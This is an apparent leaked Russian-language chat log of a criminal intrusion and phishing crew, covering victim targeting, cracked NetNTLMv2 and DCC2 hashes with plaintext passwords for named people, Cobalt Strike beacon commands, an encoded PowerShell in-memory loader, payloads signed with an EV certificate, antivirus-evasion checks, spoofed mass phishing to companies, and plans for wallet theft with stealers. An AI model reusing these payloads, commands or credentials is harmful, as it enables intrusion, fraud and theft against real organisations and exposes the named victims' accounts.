ебать

ухххх

вот индейцы

веб морда у них же открыта

вот админка

куда я заходил

в торе

могут ли они чисто вывести туда 2 API

отношение конечно у некоторых на похуй к взятым в работу таргетам

знаешь как в сказке

и так сойдет

аааа

ну все ждем прогера

с ним нет смысла говорить щас

image.png

да, должен

ждем прогреа

этот кто выдал не понимает о чем он говорит

надо человек, который писал эту приблуду

250k ушло на юсу и канаду

уже поздно

думать

да, вижду

всегда поздно каждый шаг как последний

четкий

ну у меня желания 0 учить их чесстно

им похуй всем абсолютно кроме $$

не хочется учить человека которого нужно учить бесконечное количество раз

хочется учить человека который стремится к знаниям

я опять завелся

из за проебанных таргетов

те кто хочет тот развивается дальше двигает процесс

да не

это иллюзия

самообман

$$ я объяснил в пару словах

накинул сайты с мануалами по веб пентесту

сказал пиздуй учи вот тебе сайты где почитать

примеры какие то дал сказал вот для теста чисто уязвимые сайты

kekhash.txt

он сидел пыхтел я с ним ни сидел не разу как с маленьким ребеночком

он доебался до всего и все у него получилось

вот это тяга к знаниям

а с 🐰

они за 2 года объяснений одного и того же забывают элементарные вещи

это же пиздец

это как кассирша в пятерке забывала бы каждый раз как сигареты из блоков доставать

деф обновился, проверю

ну хуй знает

ты же не забываешь что тебе нужно делать и как это делать после праздников

ты же четко знаешь что нужно и что надо для этого где взять что сделать итд

ну я читал за новые техники атаки но они сложные пиздец лучше бы не читал наверно и читал за последние новости что происходило что нового Я в пути!

> <@usernamegg:matrix.bestflowers247.online> и тебя я не заебывал никогда )

палит js

блин

и выдачу не поменяешь

Trojan:JS/Sonbokli.A!cl

ну такое может раз получится

как с ntlmrelay через локальную тачку

я это делал в прошлом году

и это не всегда нужно

но это сложно не везде проканать может

и условия соблюдать надо

да

стопнул

за почти 2 года

использовал 2 раза

да все заебись едем))

окей

щас новый сделаю

ликни те же

+

или новые будут?:

ок

+

`pmacmaster::HUFLAKE:1122334455667788:dab8505ee66d8ede1ed373062f63eab7:01010000000000001b1447cd420bda0146757eaf9321247a0000000008003000300000000000000000000000002000009f6e82c14b130447c656cd974dc48aa187b3237d6ff2e3328cc3b42d0d2cd7d20a00100000000000000000000000000000000000090024004800550046004c0041004b0045005c0070006d00610063006d00610073007400650072000000000000000000`

`hdakogiannis::AYAKITCHENS:1122334455667788:b156a8adfb290fa1345b50c28de8bc38:0101000000000000cf19f0ae430bda010d3a6b6440135e1a000000000800300030000000000000000000000000200000e4359324bf4f05e7f0de06c47e6cfded0064ab22f3aff8d13e0a241ac5b4f8300a00100000000000000000000000000000000000090030004100590041004b00490054004300480045004e0053005c006800640061006b006f006700690061006e006e00690073000000000000000000`

HDAKOGIANNIS::AYAKITCHENS:1122334455667788:b156a8adfb290fa1345b50c28de8bc38:0101000000000000cf19f0ae430bda010d3a6b6440135e1a000000000800300030000000000000000000000000200000e4359324bf4f05e7f0de06c47e6cfded0064ab22f3aff8d13e0a241ac5b4f8300a00100000000000000000000000000000000000090030004100590041004b00490054004300480045004e0053005c006800640061006b006f006700690061006e006e00690073000000000000000000:Happy65

++

лапа выдаст скоро

списался с ним

жду

да, сделаю братец

3.7z

сегодня вечером этим займусь

rundll32 file.dll, eWoChUB

коба

Проверяйте

https://avcheck.net/id/GEc0FcdbvxuO

вычистил полностью

со старыми линками щас тестил

жду новые

и собираю чистые сразу

ага

Error downloading image

ага прогрузилось

сильно

> <@muaddib6:matrix.org> sent a file.

thx

съел def 16_smb и dll и exe

деф ест, есет нет

давай

скинул лапе файлы

EV1Aprofoods_llc2023-10-25[GlobalSign].rar

подписывать этим?

братец, пойду быстро перекушу, а то голодный сильно, аж голова круждится))))

минут 10 и буду

как можно быстрее постораюсь

скоро буду

не теряй

Главное что есет обошли

16_smb.exe

16_smb.dll

> <@usernamegg:matrix.bestflowers247.online> sent a file.

чисто

подписываю

и продолжу слать юсу

`4cef4a9409f1b429ff22776aca04e375`

отойду на 15 минут

> <@usernamemm:matrix.bestflowers247.online> sent a file.

съел оба

в динамике

да всё нрм

а что спрашиваешь? он пишет что зашел под старыми?

тут

чистовсе

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21201

все чисто лапа отписал

попробуйте позвать, к нам не приходит

тоже приятного

`RTL_DJames:$DCC2$10240#RTL_DJames#fb8081c1e40d7f72332aaa1a83b7d24c`

> <@usernamemm:matrix.bestflowers247.online> Littlewangster~1

`RTL_DJames#41c23706e139566a0a7fba1a7685d5b0`

+

* RTL_DJames:$DCC2$10240#RTL_DJames#41c23706e139566a0a7fba1a7685d5b0

в лс была

запустил юсу

скоро протестирую отправку с подменой

кто то обиделся, чат ддосит)

image.png

так, отправляет

ща проверю уже на аутлуке

rubb.txt

```

у вас тоже копирует с пробелами ?

с кобы

da s 4.8 tak na4alos

блин

гугл акк заблочили

It looks like this account was created or used with multiple other accounts to violate Google’s policies. The account might have been created by a computer program or bot

калит это прям, найти бы в чем дело

да

в самой кобе что-то

сможете новый сделать?

zato ctrl + v rabotaet )

+

iz bikona

лучше бы не работало )))

а пробелы убрались

я пока сделаю форвардинг на свою тестовую почту

ладно, пока проверим придет ли в мою тестовую почту

уже отправил, ждем

по тишина

подождем

ну когда я с его смтп отправил на свой атлук

да, у меня отправилось с польденой почты

alex@metro.com

но

там у меня показывает, что спф невалидный

просто возможно все же отлук тоже видит это

и тупо отбрасывает

пиьсмо

16_smb.rar

ну ничего не пришло короч

и подписал

че за пробелы?

дллку щас тоже сделаю

при копировании с бикона кобы - копирует с пробелами

вот выше видно пример

++

image.png

pudding.js

вот кстати угвей залил js на scanner

такой результта показало

и как всегда ебаный нортон палит...

> <@usernamevv:matrix.bestflowers247.online> при копировании с бикона кобы - копирует с пробелами

da

<br>

впереди планеты всей

блин

`<br>`

грубо говоря

> <@usernameyy:matrix.bestflowers247.online> sent a file.

это просил ZZ

подписанный js

++

yttt

неее)

тот который я собираю

мне кажется от дг светится будет

++

ща проверю отправку с solibin.site

ага

не, у меня чистый

7 мин назад бот ушел

\+

> <@usernamevv:matrix.bestflowers247.online> ```

у меня такая выдача

rubb.txt

ок, жду как сделаете

у тебя плагины установлены может какие то?

у всех установлены

возможно из-за процессов

+

цвета то что выделяются

мб

`pmorin::ISD:1122334455667788:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7`

`aaceves::FMMELP:1122334455667788:9321147edd6c54660a8184c5f4effe28:01010000000000004b76bf7f4e0bda01591d969c8bccb76e0000000008003000300000000000000000000000002000003f8340790df416919275d0687bbaa5af0c47ca9dbd910046a6b29a1b0eef09800a0010000000000000000000000000000000000009001c0046004d004d0045004c0050005c0061006100630065007600650073000000000000000000`

pmorin::ISD:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7:1122334455667788:ppaatt11!

> <@usernameboy:matrix.bestflowers247.online> pmorin::ISD:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7:3dac35fb5fcc442acdd6543f5c76fe1d890f4ec56ce7c7e7:1122334455667788:ppaatt11!

AACEVES::FMMELP:1122334455667788:9321147edd6c54660a8184c5f4effe28:01010000000000004b76bf7f4e0bda01591d969c8bccb76e0000000008003000300000000000000000000000002000003f8340790df416919275d0687bbaa5af0c47ca9dbd910046a6b29a1b0eef09800a0010000000000000000000000000000000000009001c0046004d004d0045004c0050005c0061006100630065007600650073000000000000000000:Aceves0514

++

не пришло

ну не работает схема такая возможно

либо что-то не так делаем

ща еще чисто проверю инбоксят ли в аутлук эти пмта

ну они не инбоксят

отправлял с alex@solibin.site

в мою тестовую заходит

в аутлук не заходит

может в этом еще дело

нужно наверное такие, которые хотябы будут инбоксить

но при том, что я добавил его в контакты

muaddib6: как точку входа находишь в больших файлах кобы? с 1кб оффсет 0, а в больших?

да рандом

> <@muaddib6:matrix.org> да рандом

16_smb к примеру

Ну с гугла на аутлук все пришло

ну я сейчас сделал так

я отправил с гугла на атлуке

и сделал форвард на мою тестовую

короче работает

на тестовую почту пришло письмо, якобы от гугл акка

`98a4e54e2aff09f708b6f015172623f9`

ну с почты гугловой

ну вот подмена не работает

мпта видимо аутлук палит

нужно сначало видимо добится инбокса в атлуке

ну на даже не просто видимо нужно чтобы инбоксило

а инбоксило с подменой

стопну просыл

шлю только по компаниям

и чет воркгруппы только пришли

16_smb.rar

ехе и длл

```

* ```

подписаны

ща еще пдф посмотрю, может что-то еще написано будет

странный тип

но как я помню, они там хорошо настраивали свой смтп сервер

ага

скорее петух, а не бык по базару

ладно, надо ждать кодера

там этот API очекнь просто стделать)

я могу его написать за пару минут

просто пусть хотя бы прмиер базы дадут

и какой у них язык там

просто создаешь endpoint и делаешь query в базу и выдаешь овтет в json формате для получения данных об боте

> <@usernamemm:matrix.bestflowers247.online> `98a4e54e2aff09f708b6f015172623f9`

а для билда, просто делаешь билд как на морде и отдаешь base64 данные или байты

это делается очень быстро

> <@usernamemm:matrix.bestflowers247.online> ```

$DCC2$10240#administrator#6f534c91c774909003f2297e7e44bc11:Gnusma$joke17!

по поводу лендоса - я написал какие правки нужно сделать, думаю скоро сделает

кабинет агентский будет завтра

240 баксов туда тестово залил

покрутим, посмотрим как будет идти на старте, если все окей, то сразу зальем туда больше

и пойдет траф уже

с клоакой разобрался, все что нужно сделал

поисковик завтра буду сетапить на домен

сегодня осталось только добавить инфру в боту, чтобы на завтра были чистые IP и сделать .iso -> JS + DLL

и все

> <@usernamemm:matrix.bestflowers247.online> Gnusma$joke17!

и завтра можн обудет слать атачем без скачивания длки с наших серваков

)))

был найден

я вот просто думаю, что атулке видит подмену и не пропускает

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/20866

и поэтому и не делает форвард

с этим делали сегодня что то, а то он уже в офф ушел, завтра уже вернется думаю

> <@usernamegg:matrix.bestflowers247.online> **Я купил свежий эксплой который поднимается в правах за 20к**

> <@usernamegg:matrix.bestflowers247.online> .iso -> JS + DLL - мы исо слали уже как то, главное что бы они тоже там сильно не пофиксили этот просыл

> <@usernamegg:matrix.bestflowers247.online> с дц удаленно сняли креды , ждем как расшивруют

yy: как запускать его ?

чтобы бикон пришел

> <@usernamegg:matrix.bestflowers247.online> но там деф стоит он все файлы резал

ну норм

```

> <@usernamegg:matrix.bestflowers247.online> вот сейчас сделал файлы чистые с подписью ев серта и 7 минут бот уже в оффе

помнишь, в пятницу он тоже в 6 по МСК ушел

или во сколько

путаюсь уже с этим временем

ок

в 5 по европе кароче

а ну да все правильно, в пятницу 6 по мск еще было

на выходных же вемя перевелось

еще ехе есть

`run g_cl.exe -c "cmd.exe /c c:\users\public\f6580d55a7.exe"`

```

за сегодня что то нормальное пришло?

ага, уже по 19

3dns_x64.dll

3dns_x64.exe

`rundll32 3dns_x64.dll, eWoChUB`

четко

image.png

844364.xls

import

``powershell -nop -w hidden -encodedcommand `JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABiAFgATwBpAFMAaABiACsASABIADgARgBIADEASwBsADEAQgBnAEgAeABUAGoASgBiAEUAMwBWAG8ASQBDAEEAUQBCAFEAUQBqAGIAbQBwAEYARQBLAHIASwBHADkAQwBnACsAQwBkACsAZQAvADMAZwBKAHIASgA3AEcAUgAyAHAAMgByAFgASwBzAHEAbQB1ADgALwBiADAAOAA4ADUAZgBkAEEAUgB2AHQARgB4ADcATgBwAFkAQwBSADEARQAzAEoAZwBvAFQAdAB3AHcASQBEAHEAMQAyAGoAVQBiAGkAcABqADQAUQBuAHkAdAAxADEAWgBwAFkATwBOAHkAdQBoAHkAOAByAEIARgArAGkAZQBMAFEAZgByAEUAYwBKADAAWgBKAFEAdgB4AGQAdQB4AHAAYgBzAGUAVQBUAGoAZQB2AE0AaQBsAC8AOAAwAEUAawA5ADEAQwBTAHEAbAAzAEkAagBjAHQASQBZAGsAVgBkAFgAdABhAHQAcQBLAGcAMABTAGEANABWAGUAQQBnAHUANwBHAFgAcgB4AEUAZAA2AEUAVABnAEsARwBHAGsAOQBNAEYATABHAGgAYgA3AG4AQgA4ACsAZgBQAGcAegBTAE8AVQBZAEIAUAA3ADYAMABoAHcAawB5AFMASQBIAC8AcAB1AFMAaABwAGsATQBRADMAWQByAFoAQgBNAGIAcAA1AFcARwA2AFIAagBZAG0ALwBpAGUAdQBYADEAdABBAEwAbAA1AFoAMwAzAGwAWQBNAEwASABzAEQAQQBUAEcAQgBVADYANwBKAG8AVwAyAFYARQBiAFQAMAB5AEgATgB4AG8ALwA3AFgAWAAzAFgAeQA2AGEAYgA5ADMATwBMADIAcQBlAFUAbABqAGIAcABlAEoAQgBqADUATABjAGYAegA2AGkAVAB4AG4AUwB3AE4ARwBrAFcARQBHAG4AWABGAHQAZQBNAHcAQwBWAGUANABOAFgATQBEAHUAdABPAGEAVgB0ADYAcgBsAGYAUABLAHkAZgBjADYAZQBZADUAcwBIAFYAawBRAHgAKwArAEQATABMAFcAZQBaAEIAcAAxAEcASQA0AEIARwArAGEARQBZAGIAMQBKAFAASgBYADIAbgBwADYAZgBpAGEAKwB2ADMAbQBoAHAAZwBGADAAZgB0AGMAUQBBAG8AegBpAE0AZABCAFIAbgByAG8AMgBTAGwAbQBBAEYAagBvAGMAMAB0AEEASwB4AGUAZwBMAEgARgA2AHoAcgBKAEQAZwBSAEkANQB6AEcAQQBYAEgAeABCAGUAUwB5AGMASQBjAGEAMQAwAEgAcQBlAFUAMwBRACsALwBTAG4AZQBwADgAYgBLAGoAcABjAHcAUAAxAFQAbwBjAFoAYgBJAGQAZwAxAHgAagBIAFoAUABIAFAAaQBUACsAQgBRAEsAdAA2AGMAMQBFAEUANAB2ADMAagAvAGgAbAB3AGsALwBIADQAaABHAEYAbgA3AFgAbgB1AEgAcQBnADcAeQAwAE4AcgBDADYAQQBVAEQAdgBtACsANABXAHIAdQA2AGUAcQBxAEcAQwBPAEoAcABqAE0AUABFAHIAZQBTACsARQBGAFMAVABVAE0AQQBKAEMANABkAHgAVQBSADYAbgBFAGEAZQBJAGYAUAA1AHgAUABpAGUAegBGADgAbQBrACsAVgB0AEYANwBZAHYAVQBXAGUAWgAwAFAAQwBjAC8AdgBoAEIAUABaAHUAZwA2AHoANwBVAHIAcwBuAFoAbQBUAHoAbgAvAHMAawB4AGQAegAwAEYAeAB1AGYANwA3AGIARwBEAFIAeQBnADAAUQBXAHcAUwBXADcAOQBvAFgAdwBqAGYAZQBPAHoATwAwADgAbABDAEYAUgArAHUAeQBUAFEAVQAvAEcALwBYAHoAQQBuAEwAWQBNAHoAcgAxAEUAdABDAG4AWAA4AFUANAAzADgAVwB2AHMAdgAyAFQAYwA0AHcATgA1ADUANgBBAFYAMABBAEoAOABtAGQAbgBUAG0AZgBZAHEASQB1AEIAZwBuAHoAQQA3AC8AUQBPAE4ATAAxAGUAUQBaAHEAaAB5ACsANQB6AGEAaABVAFgANgArAFYANwB5AGUAVwBCAFoAeQBWAEoAawB4AGkAbgBrAE8AZAAyAGsAOQBDAFIANQBTAEcAbgBTAFQAQgBCADQAcAA2AFgAbQBCAFMASAAxAGIARAArAHcAMQAwAGwAOQBiAEIAcgBXAHcAbQArAHEASABzAG0AMwA0AEgAMABiAEgAbwBRAEIAcABBAHgAcQBRADIAbgBDAHoAQQBZAGUAbwBSAHMAMQAvAEoASwBWAEoAcQBFADQARABxAG8AWAArAGoAdQArAHUASgBDAC8AVgAxAE0AQgBwAGIAbgBRAGMAcQBCAHAAZwB6AE8AQgBHAFoASwBMAEgAUgBjAGMAaQBaADIAbQB2AC8ATwBEADcASwBsAEkAeQB6ADYAawBZAGQAOAAyAEYAMQBWAEkAZAA2AHoAMQBsAEIAegB6AGgAbABWADAAYwAxAGEASQA2AGYAKwBIADkAeQArADUATQBrAHAASwBVAHEAcwBMAGkAQwA5AGMAUgBvAEkAbwBIAHMAaABiAGgASwBtAEcAMgBPAG8AYQAvAFgAbQBMADgAVAA3ADMAOQB6ADcAdQBjAFQAOAA1AE8AWQBnAFIAdQBlAEQAYgBGAFMASgArAE4AUQB2AGMASgBrAHUAMQBVADYANwB2AEYAeQArAHYARwBKAFoASQBSAGQAagBRAEkAMgBQAFEANwA5AHYASgBhAGoAWAAxAGEAcwB5ADEAcQBqAFQAZAArAGwAZQBMAEoAVAB0AHAAQgBjAFAAdQBZAHcAWAA5AGcASgBuAHcASgBQAEIAUQArADkANQBUAHAAWQBsAEwAZQBwAHIAcwBzADIAbABEADIATwBCAGsAbABiAGkANQBJADcAdABwAG8AZABVAFQASQAwACsAUgBmAE0AVQA3AEQAdgB1AGgAOQB4AEsAegBCADcAQwB4ADMAYgBxAGQAOQB0AE8ASgBHAFkAcQB6AEMAVwBmADkAawBMAEMAaQBoAG4ATABDAEoAMQA5AHkAUABmAFcANwB2ADEAWgB6ADAAbAArAHMAagB5ADAAbAAzAE8AUgAvADcAUQBjADgAbAAzAEIAVABQAGgAeQB2AHkAQgBtAGYAWAA0AC8AdQBBADkAaAAvAEYASABNAEIAcQBFAEUAYwBuAGUAOQBLAE8AZwBmAG4AQwA3AGkAcABCADYAYQB5AC8AYQBCAHgAbgBmAEkAVwB1AGYARgB5AFAAeQBnAFUAKwAyAGgAVwBhAGkAeQB5AFUAVwBxAEgAagBqAHkAcwBqADMAaABKAGYAWABZAEsAUwBBAG0AaQBFAHUAbgBCAFkAMQB5ADQATgBGAHoAcgB6ADAATABEAGYAcwArADIAUQB0AGwAdgBLAGcAdgA3ACsAMQBBAGsAawBSAEIASwB2AFQAYgB0AFMAcwBXADYAcwBHAG0ATQBMAFcAUABqAHgANAA5AFgAaAB5AEwALwBSADMASQBxADEAMwBBAEoATgBjAEwAUgBlAHYAMgBuAE4AeQBlADgAdwBkADcAcgBzAHEARgA4AEsAZwBPAHcAYwBZACsAbgBhADIANwBnAGkAcQBIAE8AYgBNAFYAZQB6AEcAcgA2ADgANQBSAE4ALwBLADIAMwBsADUANABtAFQAVwAzADcANABOAEQAWgBWADkAMwA4AG8ATQB6AFQAUgA0AGsAQQB6AC8AUwBZADgAdgB2AEYAawBYAFEAMAA4AFcAdABtAE0AdAAyAGgATQAyADUAMQBJAHUAdABZAGgARABKAEwAbAByADIAVgA3AGoAVQBLADgAbQBMAHQAWABUAFAAdwBaAGoARABPAGEAWAByAFcAdQBHAEEAWABVADgAdwAyAEIASABZAEQAUQBhAEsAQQBqAEYAWQB0AC8AegBqAEQAdABIAGoAMABVAHcAOQAyAG4AUgBmAHQAbwB0AFkAaABEAGoARwBvADUANABMAHUAdQArAHcAUQBzAE0AOABPACsAeAByADIAawA2AGEAYQArAHYAYwA1AEQAYQBLAHkAbQA4AFMAeABaADQANwBQAFQAUgBqAE4ASgBzAE8AdAB5AHQAZgBMAGoANABJAC8AagBaAEQAdgBjAGQAWQBGAFQAYgBEAEIAUwBmAHEAdABIAHYAcwB0AGgAZABXAFcANgBQAFoAegBKAHoAcQBqADcAMgBVAFgAUQB2AGMAcAA0ADgAOQBmADUANgA3AFkANQByAHEAMABSAHMAOABwAHkATgBqAHEAQgB1AEwAegBOAGMAcAA4AHkANQBFAGgAYgBwAGsAZAA5AEwATQBwAEwAQQB5AG4AVQBhAEwAaQBlAGUATQBEAEkANQBhAE0ASgBRAHoAbQBuAEwANQBRAEoAOAA2AGkAcgA2AFQASgB2AEEALwBtAFAAYgBGAGQARABTAFQAbQBBAG0AMwBNAE0AeAA4AHgAMAA0ADgAMQBUAEMAbwBpAEQAbgBMAEsARABNAEsAegA0ADMAZABuAFQAaQBqAGIAcwBmAHMAUQBSADEATQAyACsAcABZADMALwBVAEgASgBoAFUAcAB4AGkAUwBYAFEASgAvADYAegB2AHcAUwBaAEgANwBvAFAAZAB4AG0AawAxADIAYgBNADMAYwBTAHAAMgAxADIAcgBMAGEAagBIAHYAUgBwADkAKwAyADYAYgAwAHoANwBpAGsAWgBGAHEAdABiAGYAcwBRAFAAZwA5AGMAVABrADAAdABGADgATQBkAEUAOAA3AHUARgB4AHAAdwAwAE4AMAAxADQAdwBuAFYAdABsAE4AbwAzAEcAQgBpAFUAcQAvAEoAbwB5AG0AQQBPAG0AOQBGADEAYgBNAEgAaAB0AHcAbgBUAGEATgBKAE4AUABWAGEANgAvAFoAcAAxAGgAVAB2AEcAYQAvAGMAaQAwAGUAWABPAG8ATQBSAHEAcgBLAFMATwBtAG8AdwAwAG4AQQBEAHIAYgA1AHcAegA0AEsAeAArAGQANgBaAGkAagA2AFgAVABCAEcAMwB5AGkAYwBIADEATwA1AFkAcAB1AEoASABZACsATQBwAHYARAB4ACsAQgAyAFoALwB1AGEAWQByAFUAcABXAGQAMgBZAEUAKwBxAFkARgBmAHYASABRAHQAYgBtAEUANgByAGIALwAzAGcAdgBMAFIANQAwADUAagA1AGwAawAwAG4AMABPAEIAUwBIAGoARwBPAHQARAAzAGoAMgBDAFQARwBKAGQAQgAvAGMAcABwAHQATQBDAE0AMgBaAHkAVQB5AG4AeAB5AFQAbwBqAHYATABwAFEANwB4AGcAdwBxADEAKwAvAHoAQgBiAHoANABHAEwATwAyADgATABQAEQANABDAHAAMgBWADQAdABpAEsAdAB5AGEAagByAEgASABMAGcAVwBDAEwAdAA3ADYAVQB5AFgANwBLAG8AcwBFAGMAeAA1ADMARABKAGwAbwBGADMAVwB6AEIAbABaAFQAbgBiAEgANQB4AGoASgAwAHIAVgArAGEAMgAxADMAbwBuAHAAQQBIAEoAOABPAFUAUQBmAFcASABtAFAAUAB3AEgAdgB4AEMAbgBIAFUASgBBAFoAbABNADcAbgBvAHMAcAB0AHgASQBsADQAWQBMAGIAYgB3AGQAMgBYAHMAbwBLAHQAdwBoAGgANgBrAHIAeQA4ADUALwA5AEYAdwBQACsATgBoADQAbgBYAEcAZwBXAFYAQwBZAHAAZQBPAGYALwBoAEEAMQBuADIAQwBxADgAcgBUADkAZgA1ADgANgBXADMAZQAzADIALwBXAGUAYQBnAGoAYgA0AHQANgAxADIAMQBrAGwAbAB2AHEAdAB6AHYARwBpAGIARgBpAHAATwBOADUAVQBIADEAZwA2AGIAbgBjAG0AWAB4AFkAYwB5AGYAVwA1AGQAeAA2AEoAWQBTAGoAYwBiADcAMwBmAFkATwB4AFEASAB5AG8AQgBPAEYAWAB2AFYAUwA2AEIAbgBQAEMAKwAyAHkAMgBmAHAATgAxAHcATwB0ADMANgBrAGgAZQA0AFkATABiAFEAcABEAHUAdgBQAHUAaQBDAFIAZQBOADAASwBIAGQAWQBwAHAAbQBhADUAVwBWAFUATgB5AGoAdgBEAFMAbAAxADAAMgBmAHYANgA4AGcAUABDAGEAYgAwAEMAVQBVAGIARABHAG0AeQBaAEIANQBUAFIARgBVAGUAVgAvAGwAeQBKAHIAZgB3ADcATABJAEkAeQBLAHgAcQB1ADYAWgB0AG0AUQB2AGYASABrAHIAUwBXAHYAcwBrAFMAZQAwAFkALwBUAHcARQBmAC8AeAB3AFAANAB5AGUAaAAvAGgANwBZAEUAcgArAHIAcABYAHEARwByAEgASABvAGYATAA3AEoAVwAvADEAcQByAGkAUwB2AGkAegBYAHoAaQBIAHUARwBMAEIAZQAyAEoAdQA0AHAANwBDAGIAWgBpAGYATABNAE4AbAAvAEIANQBVADkAMwBYAGoAVwB1AEwASgBFAFIAdQBUAGwAeABiAHgASABmAGkAQgBzAEoAagBFAHIAbwBEADMAegBqAHgATwBpADAAdgBiACsATAAwAHkAZgBhAE4ATwBGAGoAdQBTAGYAQQBiAG8AUwBFAGIAUQBjAHQAOQBJADQAVgBMAFkAQwBtAEMASABxAHgAVQBYAFMAawBwAE4AOABQAGMAUAA0AEMARQA2AG4AYwBEAEQAZwBBAEEAIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=```

8_443_x86.txt

`19644 18132 pld1.exe x64 12 CMCSHEETMETAL\Rramey`

от юзера запускает, у нас не отработало

```

`execute-assembly ShadowSpray.exe -d gan.cloud -dc gan-dc-01.gan.cloud -u admin1 -p Welcome1! --ResotreShadowCred --Recursive -y`

как думаешь кстати, скоро заплатить сетка хоть какая то с моего бота?

даже мелкая

ребутну админку, улучшу защиту и логов добавлю

там сильное ограничение по версии винды

четко)

уже жду не дождусь

хоть даже на еду нормально было бы)

а то уже столько в теме, а выплат как таковых ни разу не получал)

Good day.

я тут такое письмо отправлю 50к

на компании

посмотрю ответит ли кто на такое

и если ответит, значит буду им слать нашу нагрузку

посмотрим короч

> <@usernamegg:matrix.bestflowers247.online> и даже старый эксплойт не отработал

это старый

новый никакой не отработла

`run g_cl.exe -c "rundll32.exe c:\users\public\3dns_x64.dll, eWoChUB"`

> <@usernamegg:matrix.bestflowers247.online> я думаю нужно немного потерпеть

ну уже процесс пошел, поэтому думаю не за горами

щас главное разобраться полностью с тем, чтобы норм сетки цеплять и с трафом

ну и подключить все эти HVNC и так далее к боту

тип того

и будет вообще шикарно

ладно, пошел инфру ставить на бота свежую для завтра

какой айди

👌

я их сохраняю сразу как пришло, они не отобразятся пока не сохранятся

так что они не могут исчезнуть после ребута это 100%

`shell net user apyCEipo8HpxYgWUNN /delete`

> <@usernameyy:matrix.bestflowers247.online> https://filext.com/online-file-viewer.html

файл нормально расшифрован

FF кому сетку продал? вы что там заносите ему

))

`browardfactory.com`

ебать я не углядел

мое)

ну епт

понял

я все кошельки удалю у него ) арестовано

получилось использовать в итоге новый .exe ?

не

пока что только автоответ пришел)

Hi there! I am currently on Parental Leave. Please email our store manager if you require immediate assistance!

сегодня кто-нибудь пришел нормальный?

или ничего не взяли?

ну вот 7 человек дали ответ

еще вручную посмотрю

потому что думаю там могут быть автоответы

ну я завтра отвечу тем, кто мне ответит

нужно набрать побольше контактов, которые мне ответят

да, пока 7

ну там еще првоеряка это не быстрая

ну скоро посмотрж

автоответы короче

тип нет на месте

Do not send to here, your email address will be blocked…

и вот такой ответ был

похож на настоящий

вот от него VCHaccountspayable@phsa.ca

крупная

ладно

нужно время

завтра посмотрю что в итоге ответили

115k прослал

кто-то думаю все равно положительно ответит

добавил 5 новых чистых IP

всего в системе 19 IP куда стучат боты

почти все чистые

Screenshot_2023-10-30_20-56-47.png

вот скрин новых

`municipality`

16 уже ответов каки-то есть

короч вручную то я все равно не буду проверить

тупо всем буду отвечать

короч завтра прошлем по ним

посмотрим че будет

но, но он нахер послал)

сказал ему не писать)

да)

вдруг посмотрит)

не все, но процентов 70 чистые

ну его почта у нас с июня

их еще нет в базах

думаю мы его много раз писали)

* думаю мы ему много раз писали)

добавлю позже чекер, чтобы через API avcheck чекало каждый IP на чистоту

и брало каждый раз самый чистый

а у нас столько и нет свежих юсовских

у нас за сентябрь и октябрь 15к писем с крупными компаниями юсовскими

но, вообще не факт, что там письма нормальные

может вообще спам

по боту все четко работает?

все сгружается?

вот я смотрю, тут 32 ответа

и вот эти почты были выкачаны 90% с эксченджеров 2 года назаж

* и вот эти почты были выкачаны 90% с эксченджеров 2 года назад

> <@usernamegg:matrix.bestflowers247.online> что с этим будем делать

т.е. у нас все же крупные компании как раз таки с эксченджров были вытянуты

щас прочитаю, пару минут)))))

> <@usernamegg:matrix.bestflowers247.online> все что идет mail pass и owa нету больших?

очень много, примерно 60-70% крупных сидят на гугле и атулке

а мы с них письма не можем через мыло и пасс выкачать

ясно

я даже хз, потому что их письма хранятся у майкрософта на серверах

52 ответа есть, короч нужно хотябы 1к набрать будет

но думаю там много автоответом тупо

Офнусь. До завтра

ну если все так как он описал

то это кнопка бабло

ибо можно нагнать даже хорошего крипто трафика

и использовать этот софт)))

+

тем более с той схемой что я придумал

мы сможем легко лить мега сильные ключи

а слушай, а вот такой вопрос

вот сидку мы знаем

а пасс?

в exodus например, без пасса ты не сможешь даже с сидкой его восстановить

кароче надо побольше инфы как именно это работает

чтобы мы понимали как это отработать, а то сейчас купим, а потом еще поймем, что пасс нужен и т д и тп

потому что по факту стилаки сдирают .dat файлы

и их можно подставлять к кошу

и просто пасс вводить и считай зашел

в обход сидки

или может я чего не понял, надо подточнить этот момент

чтобы тоже не придумывать велосипед и переплачивать

подумаю кароче над этим

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21261

вот такие боты, это тоже скорее корпы

просто не в домене

у них может домашний пк

которы йчерез citrix работает

или по rdpweb подключается

вот стилак бы на такой прогрузить

и все

у тебя есть стилак какой то?

а, щас сек

у угвея попрошу

пару сек

щас, пару минут, помню у угвея видар есть

его можно будет прогрузить щас

и посмотрет ь что там есть

нет у него(

`AGRODOM`

> <@usernamegg:matrix.bestflowers247.online> какой в итоге завтра фаил будем слать ?

YY оптсиал, что передал тебе

C161418F0000005014183032758

сколько М она ?

75 ПК

можешь скинуть от DG рав стаб

который просто exe

я хочу тебе прокинуть 1 бота в дг

чтобы ты там пасы гляну

* чтобы ты там пасы глянул

